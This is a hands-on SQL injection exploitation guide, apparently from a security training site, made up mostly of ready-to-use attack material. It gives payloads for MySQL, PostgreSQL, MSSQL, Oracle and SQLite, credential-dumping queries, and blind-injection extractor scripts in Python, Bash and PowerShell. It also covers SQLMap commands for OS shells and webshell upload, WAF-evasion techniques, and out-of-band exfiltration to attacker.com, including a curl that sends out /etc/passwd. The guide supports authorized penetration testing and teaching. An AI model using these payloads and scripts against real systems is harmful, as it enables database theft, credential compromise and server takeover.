Exploitation A03

SQL Injection Exploitation

SQL injection allows attackers to interfere with database queries, potentially accessing, modifying, or deleting data. This guide covers detection, exploitation techniques, and automation for all major database platforms.

Warning

Always ensure proper authorization before testing. SQL injection can cause data loss or corruption. Use --technique=B (Boolean-based) in SQLMap for safer initial testing.

๐ŸŽฏ Why SQL Injection Remains Critical

Despite being well-documented since the late 1990s, SQL injection remains one of the most devastating web vulnerabilities:

  • Data Breaches: SQLi was the cause of major breaches including Sony (77M accounts), Heartland (130M cards), and TalkTalk (4M customers). Combined cost: billions of dollars.
  • Authentication Bypass: A simple ' OR '1'='1 can bypass login forms, granting admin access without credentials.
  • Data Exfiltration: Attackers can dump entire databases - user credentials, PII, financial data, and proprietary business information.
  • Remote Code Execution: On some databases (MySQL, MSSQL, PostgreSQL), SQLi can escalate to OS command execution via features like xp_cmdshell or INTO OUTFILE.
  • Lateral Movement: Database servers often have access to internal networks. SQLi provides a foothold for pivoting.
  • Prevalence: OWASP ranks Injection as #3 in 2021 Top 10. Automated scanners find SQLi in ~10% of web applications tested.

Tools & Resources

SQLMap

Automated SQL injection tool

apt install sqlmap GitHub โ†’

ghauri

Advanced SQLi detection

pip install ghauri GitHub โ†’

jSQL Injection

Java GUI SQLi tool

java -jar jsql.jar GitHub โ†’

Burp Suite

Manual testing & Scanner

burpsuite

Understanding SQL Injection

SQL injection occurs when user input is concatenated directly into SQL queries without proper sanitization. The vulnerability exists because the application trusts user input as data, but the database interprets it as code.

Vulnerable Code Example (PHP)

php
// VULNERABLE - Direct concatenation
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

// User input: 1 OR 1=1
// Resulting query: SELECT * FROM users WHERE id = 1 OR 1=1
// This returns ALL users instead of just one

SQLi Types Overview

In-Band (Classic)

Results visible in application response. Includes Union-based and Error-based.

Blind SQLi

No direct output. Infer data through Boolean responses or Time delays.

Out-of-Band (OOB)

Data exfiltrated via DNS or HTTP requests to attacker server.

Second-Order

Payload stored and executed later in different context.

Detection & Identification

Basic Detection Payloads

Test these in any user input field, URL parameter, or HTTP header:

sql
# Single quote test - look for SQL errors
'
''

# Numeric context tests
1 OR 1=1
1' OR '1'='1
1" OR "1"="1

# Comment tests
1--
1#
1/*comment*/

# String concatenation (varies by DB)
'||'test
' 'test
'+'test

# Math operations
1+1
2-1

Tip

Tip: If single quote causes an error but two single quotes ('') don't, the application is likely vulnerable. The double quote escapes itself in SQL.

Database Fingerprinting

Identify the backend database for targeted exploitation:

sql
# MySQL
' AND 1=1#
SELECT @@version
SELECT version()

# PostgreSQL  
' AND 1=1--
SELECT version()

# Microsoft SQL Server
' AND 1=1--
SELECT @@version

# Oracle
' AND 1=1--
SELECT banner FROM v$version

# SQLite
' AND 1=1--
SELECT sqlite_version()

Union-Based SQL Injection

Union-based SQLi leverages the UNION SQL operator to combine results from the original query with results from an injected query. This requires knowing the number of columns.

Step 1: Determine Column Count

sql
# Method 1: ORDER BY (increment until error)
' ORDER BY 1-- -    โœ“ Works
' ORDER BY 2-- -    โœ“ Works  
' ORDER BY 3-- -    โœ“ Works
' ORDER BY 4-- -    โœ— Error = 3 columns

# Method 2: UNION SELECT NULL
' UNION SELECT NULL-- -           โœ— Error
' UNION SELECT NULL,NULL-- -      โœ— Error
' UNION SELECT NULL,NULL,NULL-- - โœ“ Works = 3 columns

Step 2: Find Visible Columns

Identify which columns are displayed in the response:

sql
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

# If column 2 is visible in output, use that for data extraction

Step 3: Extract Database Information

sql
# MySQL - Get version, user, database
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,database(),3-- -

# List all databases
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -

# List tables in current database
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -

# List columns in a table
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -

# Extract data
' UNION SELECT 1,username,password FROM users-- -
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users-- -

# Multiple columns in one (GROUP_CONCAT)
' UNION SELECT 1,GROUP_CONCAT(username,':',password SEPARATOR '<br>'),3 FROM users-- -

Database-Specific Payloads

PostgreSQL Payloads
sql
# Version and user
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,current_user,NULL-- -

# List databases
' UNION SELECT NULL,datname,NULL FROM pg_database-- -

# List tables
' UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'-- -

# List columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Read files (superuser required)
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL-- -
Microsoft SQL Server Payloads
sql
# Version and user
' UNION SELECT NULL,@@version,NULL-- -
' UNION SELECT NULL,SYSTEM_USER,NULL-- -

# List databases
' UNION SELECT NULL,name,NULL FROM master..sysdatabases-- -

# List tables
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'-- -

# List columns
' UNION SELECT NULL,name,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

# Execute commands (if xp_cmdshell enabled)
'; EXEC xp_cmdshell 'whoami'-- -

# Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -
Oracle Payloads
sql
# Note: Oracle requires FROM clause, use DUAL table
# Version
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1-- -

# Current user
' UNION SELECT NULL,user,NULL FROM dual-- -

# List tables
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -

# List columns
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

# String concatenation uses ||
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -

Error-Based SQL Injection

When verbose error messages are displayed, you can force the database to include sensitive data in error messages.

sql
# MySQL - ExtractValue/UpdateXML
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -

# MySQL - Double Query
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

# PostgreSQL
' AND 1=CAST((SELECT version()) AS INT)-- -

# MSSQL
' AND 1=CONVERT(INT,(SELECT @@version))-- -

# Oracle
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))-- -

Blind SQL Injection

When no data or errors are displayed, use Boolean conditions or time delays to infer information one bit at a time.

Boolean-Based Blind

sql
# Confirm vulnerability - compare true vs false responses
' AND 1=1-- -    (true condition - normal response)
' AND 1=2-- -    (false condition - different response)

# Extract data character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
# Continue until response changes...

# Using ASCII values (faster for scripting)
' AND ASCII(SUBSTRING(database(),1,1))>97-- -
' AND ASCII(SUBSTRING(database(),1,1))=100-- -

# Extract password length
' AND LENGTH((SELECT password FROM users WHERE username='admin'))>5-- -
' AND LENGTH((SELECT password FROM users WHERE username='admin'))=8-- -

# Check if table exists
' AND (SELECT COUNT(*) FROM users)>0-- -

Time-Based Blind

sql
# MySQL
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -

# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

# MSSQL
'; WAITFOR DELAY '0:0:5'-- -
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -

# Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

# SQLite
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- -

Tip

Tip: Time-based is slower but more reliable. Use 3-5 second delays to account for network latency. If delay works, you've confirmed SQLi even with no visible output.

Automation Scripts

Python - Boolean-Based Extraction

python
#!/usr/bin/env python3
"""
Boolean-Based Blind SQL Injection Data Extractor
Extracts data character by character using binary search
"""
import requests
import string

TARGET = "http://target.com/page"
PARAM = "id"
TRUE_INDICATOR = "Welcome"  # String present in TRUE response
CHARSET = string.ascii_lowercase + string.digits + "_"

def is_true(payload):
    """Send payload and check if condition is true"""
    params = dict()
    params[PARAM] = "1' AND " + payload + "-- -"
    response = requests.get(TARGET, params=params)
    return TRUE_INDICATOR in response.text

def extract_string(query, max_len=50):
    """Extract string using binary search on ASCII values"""
    result = ""
    for position in range(1, max_len + 1):
        found = False
        # Binary search for ASCII value (faster than linear)
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = "ASCII(SUBSTRING((" + query + ")," + str(position) + ",1))>" + str(mid)
            if is_true(payload):
                low = mid + 1
            else:
                high = mid - 1
        
        char_code = low
        if char_code < 32 or char_code > 126:
            break
        result += chr(char_code)
        print("[+] Extracted: " + result, end="\r")
    
    print("\n[+] Final result: " + result)
    return result

if __name__ == "__main__":
    print("[*] Extracting database name...")
    db_name = extract_string("SELECT database()")
    
    print("\n[*] Extracting current user...")
    user = extract_string("SELECT user()")
    
    print("\n[*] Extracting admin password...")
    password = extract_string("SELECT password FROM users WHERE username='admin'")

Bash - Time-Based Extraction

bash
#!/bin/bash
# Time-Based Blind SQL Injection Extractor
# Usage: ./sqli_time.sh

TARGET="http://target.com/page?id="
DELAY=3
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789_"

extract_char() {
    local position=$1
    local query=$2
    
    for char in $(echo $CHARSET | sed 's/./& /g'); do
        payload="1' AND IF(SUBSTRING(($query),$position,1)='$char',SLEEP($DELAY),0)-- -"
        encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
        
        start=$(date +%s)
        curl -s "$TARGET$encoded" > /dev/null
        elapsed=$(($(date +%s) - start))
        
        if [ $elapsed -ge $DELAY ]; then
            echo -n "$char"
            return
        fi
    done
}

echo "[*] Extracting database name..."
result=""
i=1
while [ $i -le 20 ]; do
    char=$(extract_char $i "SELECT database()")
    if [ -z "$char" ]; then
        break
    fi
    result="$result$char"
    i=$((i + 1))
done
echo ""
echo "[+] Database: $result"

PowerShell - Boolean Extractor

powershell
# PowerShell Boolean-Based SQLi Extractor
$Target = "http://target.com/page"
$Param = "id"
$TrueIndicator = "Welcome"

function Test-Condition {
    param([string]$Payload)
    $Uri = "$Target?$Param=1' AND $Payload-- -"
    $Response = Invoke-WebRequest -Uri $Uri -UseBasicParsing
    return $Response.Content -match $TrueIndicator
}

function Extract-String {
    param([string]$Query, [int]$MaxLen = 30)
    $Result = ""
    
    for ($pos = 1; $pos -le $MaxLen; $pos++) {
        for ($ascii = 32; $ascii -le 126; $ascii++) {
            $Payload = "ASCII(SUBSTRING(($Query),$pos,1))=$ascii"
            if (Test-Condition $Payload) {
                $Result += [char]$ascii
                Write-Host -NoNewline ([char]$ascii)
                break
            }
        }
        if ($ascii -gt 126) { break }
    }
    return $Result
}

Write-Host "[*] Extracting database name: " -NoNewline
$DbName = Extract-String "SELECT database()"
Write-Host "`n[+] Database: $DbName"

SQLMap Automation

SQLMap is the industry-standard tool for automated SQL injection. It handles detection, exploitation, and data extraction across all database types.

Basic Usage

bash
# Basic GET parameter test
sqlmap -u "http://target.com/page?id=1" --batch

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch

# With authentication cookie
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123" --batch

# Test specific parameter
sqlmap -u "http://target.com/page?id=1&name=test" -p id --batch

# From Burp request file
sqlmap -r request.txt --batch

Enumeration

bash
# Get all databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Get tables from specific database
sqlmap -u "http://target.com/page?id=1" -D targetdb --tables

# Get columns from table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --columns

# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --dump

# Dump specific columns
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users -C username,password --dump

# Dump all (be careful - slow!)
sqlmap -u "http://target.com/page?id=1" --dump-all

Advanced Techniques

bash
# OS Shell (requires FILE privilege and writable directory)
sqlmap -u "http://target.com/page?id=1" --os-shell

# SQL Shell
sqlmap -u "http://target.com/page?id=1" --sql-shell

# Read server files
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"

# Write files (webshell)
sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Specific techniques only
sqlmap -u "http://target.com/page?id=1" --technique=BT  # Boolean and Time only

# Increase level and risk (more payloads)
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Bypass WAF with tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between

# Use Tor for anonymity
sqlmap -u "http://target.com/page?id=1" --tor --tor-type=SOCKS5

WAF Bypass Techniques

Web Application Firewalls often block common SQL injection payloads. Use these techniques to evade detection.

Case Manipulation & Comments

sql
# Mixed case
uNiOn SeLeCt 1,2,3

# Inline comments (MySQL)
UN/**/ION/**/SEL/**/ECT/**/1,2,3
/*!50000UNION*//*!50000SELECT*/1,2,3

# Comment variations
--
#
/**/
;%00

Encoding & Whitespace

sql
# URL encoding
%55NION%20%53ELECT  (UNION SELECT)
%2527  (single quote)

# Double URL encoding
%252f%252a*/UNION%252f%252a*/SELECT

# Whitespace alternatives
UNION%09SELECT     (tab)
UNION%0ASELECT     (newline)
UNION%0DSELECT     (carriage return)
UNION%0CSELECT     (form feed)
UNION%A0SELECT     (non-breaking space)

Function Alternatives

sql
# Instead of CONCAT()
CONCAT_WS('',user(),':',password)
user()||':'||password  (PostgreSQL/Oracle)

# Instead of SUBSTRING()
MID(string,1,1)
LEFT(string,1)
RIGHT(string,1)

# Instead of IF()
CASE WHEN 1=1 THEN 'true' ELSE 'false' END
IIF(1=1,'true','false')  (MSSQL)

# Instead of SLEEP()
BENCHMARK(10000000,SHA1('test'))  (MySQL)
pg_sleep(5)  (PostgreSQL)

SQLMap Tamper Scripts

bash
# Common tamper scripts
--tamper=apostrophemask       # Replaces ' with UTF-8 fullwidth
--tamper=base64encode         # Base64 encodes payload
--tamper=between             # Replaces > with BETWEEN
--tamper=charencode          # URL-encodes all characters
--tamper=equaltolike         # Replaces = with LIKE
--tamper=randomcase          # Random case for keywords
--tamper=space2comment       # Replaces space with /**/
--tamper=space2hash          # Replaces space with # and newline
--tamper=space2morehash      # Like above with more obfuscation
--tamper=space2mssqlblank    # MSSQL whitespace alternatives
--tamper=space2plus          # Replaces space with +
--tamper=space2randomblank   # Random whitespace character

# Chain multiple tampers
--tamper=space2comment,randomcase,between

Second-Order SQL Injection

Second-order SQLi occurs when malicious input is stored in the database and later incorporated into a different SQL query. The injection point and execution point are separate.

Example Scenario

  1. Register username: admin'--
  2. Username stored in database as-is (properly escaped on INSERT)
  3. Password reset feature runs: SELECT * FROM users WHERE username='admin'--'
  4. Comment truncates query, potentially affecting admin account
sql
# Registration payload
Username: admin'-- -
Username: ' OR '1'='1' --
Username: admin'; DROP TABLE users;--

# These get stored and executed later when:
- Password reset queries run
- Profile views query the database
- Admin reports generate
- Export functions pull data

Information

Detection Tip: Second-order SQLi is hard to find with automated tools. Look for any stored user input that appears in admin panels, reports, or different user contexts.

Out-of-Band (OOB) SQL Injection

When in-band and time-based methods don't work (async queries, no response difference), exfiltrate data via DNS or HTTP requests to your server.

sql
# MySQL - DNS exfiltration (Windows only, requires LOAD_FILE)
SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\share\\file'))

# MySQL - INTO OUTFILE to SMB share
SELECT * FROM users INTO OUTFILE '\\\\attacker.com\\share\\output.txt'

# MSSQL - xp_dirtree DNS lookup
EXEC master..xp_dirtree '\\\\data.attacker.com\\share'

# MSSQL - xp_subdirs
EXEC master..xp_subdirs '\\\\subdomain.attacker.com\\share'

# Oracle - UTL_HTTP (requires privileges)
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual

# Oracle - UTL_INADDR DNS lookup
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE rownum=1)||'.attacker.com') FROM dual

# PostgreSQL - COPY to program
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /etc/passwd)'

Tip

Tip: Use Burp Collaborator or interactsh.com to receive OOB callbacks. They provide DNS and HTTP listeners with logging.

Practice Labs

Information

Documentation Reminder: For every successful injection, document: the exact payload, the parameter, database type, extracted data, and potential impact. Screenshots help!

SQL Injection Testing Checklist

๐Ÿ” Discovery Phase

  • โ˜ Test all GET/POST parameters
  • โ˜ Check cookies and headers
  • โ˜ Test numeric and string parameters
  • โ˜ Try single quote (') for errors
  • โ˜ Try double quote (")
  • โ˜ Test comment sequences (-- , #, /*)
  • โ˜ Check for verbose error messages

๐Ÿ“Š Injection Types

  • โ˜ UNION-based (visible output)
  • โ˜ Error-based (database errors)
  • โ˜ Boolean-based blind (true/false)
  • โ˜ Time-based blind (sleep delays)
  • โ˜ Stacked queries (multiple statements)
  • โ˜ Second-order (stored then triggered)

๐Ÿ—„๏ธ Database Fingerprinting

  • โ˜ Identify DBMS from errors
  • โ˜ Test version functions (@@version)
  • โ˜ Check concatenation syntax (||, +, CONCAT)
  • โ˜ Test comment styles
  • โ˜ Identify string quote character
  • โ˜ Check for SLEEP/WAITFOR support

โšก Exploitation

  • โ˜ Enumerate databases
  • โ˜ List tables and columns
  • โ˜ Extract user credentials
  • โ˜ Check for file read (LOAD_FILE)
  • โ˜ Test file write (INTO OUTFILE)
  • โ˜ Check for OS command execution

How to Exploit SQL Injection

Step-by-Step Exploitation

  1. Confirm Injection: Inject a single quote (') and look for SQL errors or behavior changes. No error? Try boolean tests: id=1 AND 1=1 vs id=1 AND 1=2
  2. Identify DBMS: Check error messages or use database-specific syntax. MySQL uses #, MSSQL uses --, Oracle uses ||.
  3. Find Column Count: For UNION: ORDER BY 1--, increment until error. Or use UNION SELECT NULL,NULL,NULL--
  4. Find Output Column: Replace NULLs with strings: UNION SELECT 'a','b','c'-- to see which column displays.
  5. Extract Database Info: Use information_schema to list databases, tables, columns. Then extract data.
  6. Automate with SQLMap: Once confirmed, use sqlmap -u "URL?id=1" --dbs to automate extraction.
  7. Escalate: Check for file read/write permissions, attempt OS command execution if database supports it.

๐Ÿ’ก Pro Tip: For WAF bypass, try URL encoding, case variation, inline comments (/*!50000UNION*/), or double URL encoding. SQLMap's --tamper scripts automate many bypasses.

External Resources